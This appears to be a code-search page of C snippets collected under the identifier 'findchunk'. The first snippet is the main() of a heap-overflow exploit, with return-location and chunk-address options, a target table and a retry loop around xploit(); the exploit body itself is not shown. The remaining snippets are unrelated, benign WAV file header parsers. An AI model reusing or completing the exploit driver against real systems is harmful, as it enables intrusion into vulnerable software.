int main(int argc,char **argv) { //college professor is it char *argv[] or char **argv?
	int c;
	uint8_t typenum,numtypes;
	uint8_t i,didit = 0;
		
	signal(SIGPIPE,SIG_IGN);

	for (i = 0; targ[i].name != NULL;i++);
	numtypes = i;

	opterr = 0;
	
	while ((c = getopt(argc,argv,"R:d:t:r:c:vfbl"))!=EOF) {
		switch (c) {
			case 'r': 
				sscanf(optarg,"%p",&retloc);
				break;
			case 'c':
				sscanf(optarg,"%p",&chunkaddr);
				break;
			case 'R':
				sscanf(optarg,"%p",&retaddr);
				break;
			case 'v':
				verbose = 1;
				break;
			case 'f':
				mesg();
				if (findchunk()==0) {
					fprintf(stderr,"[*] found chunk address at (0x%x)\n"NORM,chunkaddr);
				}
				else {
					fprintf(stderr,"[*] coulden't find chunkaddr\n"NORM);
				}	
				exit(0);
			case 'b':
				brute = 1;
				break;
			case '?':
				usage();
				break;
			case 't':
				typenum = atoi(optarg);
				didit = 1;
				if (typenum >= numtypes) {
					usage();
				}
				break;
			case 'l':
				listtypes();
				exit(0);
				break;
			case 'd':
				display = optarg;
				setenv("DISPLAY",optarg,1);
				break;
			default:
			 	usage();
		}
	}

	if (!didit) {
		usage();
	}

	mesg();
		
	if (!chunkaddr) { chunkaddr = targ[typenum].chunkaddr; }
	if (!retloc) { retloc = targ[typenum].retloc; }
	if (!retaddr) { retaddr = targ[typenum].retaddr; } 
		
	fprintf(stderr,"[*] using retloc 0x%x chunkaddr 0x%x retaddr 0x%x\n"NORM,retloc,chunkaddr,retaddr);
		
	xploit();
	
	if (!brute) {
		exit(0);
	}	
	
	for (i = 0; i < HOPELESS;i++) {
		xploit(); //this really inst brut forcing anything its just retrying till our chunkaddr comes back
	}		  //into the spot we want it to wich should take like at the max 10 times 
		
	exit(-1);
}	
Example #2
0
int
WaveReadHeader(FILE *wavefile,int *channels,uint32_t *samplerate,int *samplebits,uint32_t *samples,uint32_t *datastart,ErrFunc erf) {
	static  WAVEFORMAT  waveformat;
	static	char buffer[BUFFERSIZE];		/* Function is not reentrant.*/
	char*   ptr;
	uint32_t databytes;

	v_erf = erf;					/* wwg: Set error reporting function */

	if ( fseek(wavefile,0L,SEEK_SET) ) {
		err("%s",strerror(errno));		/* wwg: Report error */
		return  WR_BADSEEK;
	}

    
	fread(buffer,BUFFERSIZE,1,wavefile);

	if ( findchunk(buffer,"RIFF",BUFFERSIZE) != buffer ) {
		err("Bad format: Cannot find RIFF file marker");	/* wwg: Report error */
		return  WR_BADRIFF;
	}

	if ( !findchunk(buffer,"WAVE",BUFFERSIZE) ) {
		err("Bad format: Cannot find WAVE file marker");	/* wwg: report error */
		return  WR_BADWAVE;
	}

	ptr = findchunk(buffer,"fmt ",BUFFERSIZE);

	if ( !ptr ) {
		err("Bad format: Cannot find 'fmt' file marker");	/* wwg: report error */
		return  WR_BADFORMAT;
	}

	ptr += 4;	/* Move past "fmt ".*/
	memcpy(&waveformat,ptr,sizeof (WAVEFORMAT));

 	if ( waveformat.dwSize < (sizeof (WAVEFORMAT) - sizeof (uint32_t)) ) {
		err("Bad format: Bad fmt size");			/* wwg: report error */
		return  WR_BADFORMATSIZE;
	}

	if ( waveformat.wFormatTag != PCM_WAVE_FORMAT ) {
		err("Only supports PCM wave format");			/* wwg: report error */
		return  WR_NOTPCMFORMAT;
	}

	ptr = findchunk(buffer,"data",BUFFERSIZE);

	if ( !ptr ) {
		err("Bad format: unable to find 'data' file marker");	/* wwg: report error */
		return  WR_NODATACHUNK;
	}

	ptr += 4;	/* Move past "data".*/
	memcpy(&databytes,ptr,sizeof (uint32_t));

	/* Everything is now cool, so fill in output data.*/

	*channels   = waveformat.wChannels;
	*samplerate = waveformat.dwSamplesPerSec;
	*samplebits = waveformat.wBitsPerSample;
	*samples    = databytes / waveformat.wBlockAlign;   // sample num
	
	*datastart  = (uint32_t) ( (ptr + 4) - buffer );

/*	*datastart  = ((uint32_t) (ptr + 4)) - ((uint32_t) (&(buffer[0]))); */

	if ( waveformat.dwSamplesPerSec != waveformat.dwAvgBytesPerSec / waveformat.wBlockAlign ) {
		err("Bad file format");			/* wwg: report error */
		return  WR_BADFORMATDATA;
	}

	if ( waveformat.dwSamplesPerSec != waveformat.dwAvgBytesPerSec / waveformat.wChannels / ((waveformat.wBitsPerSample == 16) ? 2 : 1) ) {
		err("Bad file format");			/* wwg: report error */
		return  WR_BADFORMATDATA;
	}

	return  0;

} /* WaveReadHeader*/
Example #3
0
File: wav.c Project: keesvp/libkees
WAV *wavopenrfx( FILE *f )
{
  char inp[16];
  unsigned long insize;
  WAVEFORMATEXTENSIBLE fmt;
  WAV *wav;
  WORD bitspsmp;
  int wavtype;
  double srate;
  int fmtread;
  int i;

  fread( inp, 4, 1, f );
  inp[4] = 0;
  if ( strcmp( inp, "RIFF" ) )
  {
    fclose( f );
    return NULL;
  }
  fread( &insize, 4, 1, f );
  fread( inp, 4, 1, f );
  if ( strcmp( inp, "WAVE" ) )
  {
    fclose( f );
    return NULL;
  }
  if ( ( insize = findchunk( "fmt ", f ) ) < 0 )
  {
    fclose( f );
    return NULL;
  }
  wavtype = Wavint;
  fread( &fmt, sizeof( WAVEFORMATEXTENSIBLE ), 1, f );
  fmtread = sizeof( WAVEFORMATEXTENSIBLE );
  if ( fmt.Format.wFormatTag != WAVE_FORMAT_EXTENSIBLE )
  {
      fclose( f );
      return NULL;
  }
  bitspsmp = fmt.Format.wBitsPerSample;
  srate = fmt.Format.nSamplesPerSec;
  if ( fmtread != (int)insize )
  {
    fmtread = insize - fmtread;
    if ( fmtread & 1 )
      fmtread++;
    fseek( f, fmtread, SEEK_CUR );
  }
  if ( ( insize = findchunk( "data", f ) ) < 0 )
  {
    fclose( f );
    return NULL;
  }
  wav = (WAV*)malloc( sizeof( WAV ) );
  wav->f = f;
  wav->w = 0;
  wav->fmt = fmt;
  wav->wavtype = wavtype;
  wav->smplsz = wavsmplsz( wavtype );
  wav->nchannels = fmt.Format.nChannels;
  wav->data = ftell( f );
  wav->size = insize;
  wav->srate = srate;
  wav->nsamples = insize / wav->nchannels / wav->smplsz;
  for ( i = 0; i < 18; i++ )
    wav->samples[i] = NULL;
  wav->issample = 0;
  fseek( wav->f, wav->data + insize, SEEK_SET );
  wav->issample = 0;
  return wav;
}
Example #4
0
static int  WaveHeaderCheck  (char *wave_buf,int* channels, u_long* samplerate, int* samplebits, u_long* samples,u_long* datastart)
{	
	static  WAVEFORMAT  waveformat ;
	char*   ptr ;
	u_long  databytes ;

	if (findchunk (wave_buf, "RIFF", BUFFERSIZE) != wave_buf) {
		fprintf(stderr, "Bad format: Cannot find RIFF file marker");
		return  WR_BADRIFF ;
	}

	if (! findchunk (wave_buf, "WAVE", BUFFERSIZE)) {
		fprintf(stderr, "Bad format: Cannot find WAVE file marker");
		return  WR_BADWAVE ;
	}

	ptr = findchunk (wave_buf, "fmt ", BUFFERSIZE) ;

	if (! ptr) {
		fprintf(stderr, "Bad format: Cannot find 'fmt' file marker");
		return  WR_BADFORMAT ;
	}

	ptr += 4 ;	/* Move past "fmt ".*/
	waveFormatCopy( &waveformat, ptr );
	
	if (waveformat.dwSize != (sizeof (WAVEFORMAT) - sizeof (u_long))) {
		fprintf(stderr, "Bad format: Bad fmt size");
		/* return  WR_BADFORMATSIZE ; */
	}

	if (waveformat.wFormatTag != PCM_WAVE_FORMAT) {
		fprintf(stderr, "Only supports PCM wave format");
		return  WR_NOTPCMFORMAT ;
	}

	ptr = findchunk (wave_buf, "data", BUFFERSIZE) ;

	if (! ptr) {
		fprintf(stderr,"Bad format: unable to find 'data' file marker");
		return  WR_NODATACHUNK ;
	}

	ptr += 4 ;	/* Move past "data".*/
	databytes = LittleEndian_getDW(ptr, 0);
	
	/* Everything is now cool, so fill in output data.*/

	*channels   = waveformat.wChannels;
	*samplerate = waveformat.dwSamplesPerSec ;
	*samplebits = waveformat.wBitsPerSample ;
	*samples    = databytes / waveformat.wBlockAlign ;
	
	*datastart  = (u_long)(ptr) + 4;

	if (waveformat.dwSamplesPerSec != waveformat.dwAvgBytesPerSec / waveformat.wBlockAlign) {
		fprintf(stderr, "Bad file format");
		return  WR_BADFORMATDATA ;
	}

	if (waveformat.dwSamplesPerSec != waveformat.dwAvgBytesPerSec / waveformat.wChannels / ((waveformat.wBitsPerSample == 16) ? 2 : 1)) {
		fprintf(stderr, "Bad file format");
		return  WR_BADFORMATDATA ;
	}

	return  0 ;
} ; /* WaveHeaderCheck*/
Example #5
0
File: wav.c Project: keesvp/libkees
WAV *wavopenrf( FILE *f )
{
  char inp[16];
  long insize;
  WAVEFORMATEXTENSIBLE fmt;
  WAV *wav;
  WORD bitspsmp;
  int wavtype, rfrq;
  double srate;
  int fmtread;
  int i;
  int place;

  fread( inp, 4, 1, f );
  inp[4] = 0;
  if ( strcmp( inp, "RIFF" ) )
  {
    fclose( f );
    return NULL;
  }
  fread( &insize, 4, 1, f );
  fread( inp, 4, 1, f );
  if ( strcmp( inp, "WAVE" ) )
  {
    fclose( f );
    return NULL;
  }
  if ( ( insize = findchunk( "fmt ", f ) ) < 0 )
  {
    fclose( f );
    return NULL;
  }
  fread( &fmt, sizeof( WAVEFORMAT ), 1, f );
  fmtread = sizeof( WAVEFORMAT );
  switch ( fmt.Format.wFormatTag )
  {
    case WAVE_FORMAT_PCM:
      rfrq = 0;
      wavtype = Wavint;
      break;
    case WAVE_FORMAT_FLOAT:
      rfrq = 1;
      wavtype = Wavfloat;
      break;
    case WAVE_FORMAT_CMPLX:
      rfrq = 1;
      wavtype = Wavcmplx;
      break;
    case WAVE_FORMAT_CMPLXI:
      rfrq = 1;
      wavtype = Wavcmplxi;
      break;
    default:
      fclose( f );
      return NULL;
      break;
  }
  fread( &bitspsmp, 2, 1, f );
  fmtread += 2;
  if ( rfrq )
  {
    fread( &srate, 8, 1, f );
    fmtread += 8;
  }
  else
    srate = fmt.Format.nSamplesPerSec;
  if ( wavtype == Wavint && bitspsmp == 8 )
    wavtype = Wavchar;
  if ( fmtread != (int)insize )
  {
    fmtread = insize - fmtread;
    if ( fmtread & 1 )
      fmtread++;
    fseek( f, fmtread, SEEK_CUR );
  }
  place = ftell( f );
  if ( ( insize = findchunk( "data", f ) ) < 0 )
  {
    fclose( f );
    return NULL;
  }
  wav = (WAV*)malloc( sizeof( WAV ) );
  wav->f = f;
  wav->w = 0;
  wav->fmt = fmt;
  wav->wavtype = wavtype;
  wav->smplsz = wavsmplsz( wavtype );
  wav->nchannels = fmt.Format.nChannels;
  wav->data = ftell( f );
  wav->size = insize;
  wav->srate = srate;
  wav->nsamples = insize / wav->nchannels / wav->smplsz;
  for ( i = 0; i < 18; i++ )
    wav->samples[i] = NULL;
  wav->issample = 0;
  //fseek( wav->f, wav->data + insize, SEEK_SET );
  fseek( wav->f, place, SEEK_SET );
  if ( ( insize = findchunk( "smpl", f ) ) > 0 )
  {
    char bla[16];
    DWORD unity;
    long fract;
    wav->issample = 1;
    fread( bla, 12, 1, f );
    fread( &unity, 4, 1, f );
    fread( &fract, 4, 1, f );
    wav->smplinfo.base = 440.0 * pow( 2.0, ( (double)unity + ( (double)fract / 4.295e9 ) - 69.0 ) / 12.0 );
    fread( bla, 16, 1, f );
    if ( insize > 36 )
    {
      wav->smplinfo.hasloop = 1;
      fread( bla, 8, 1, f );
      fread( &wav->smplinfo.start, 4, 1, f );
      fread( &wav->smplinfo.end, 4, 1, f );
      wav->smplinfo.start--;
      wav->smplinfo.end--;
      //wav->smplinfo.start /= wav->smplsz;
      //wav->smplinfo.end /= wav->smplsz;
    }
    else
      wav->smplinfo.hasloop = 0;
  }
  else
    wav->issample = 0;
  return wav;
}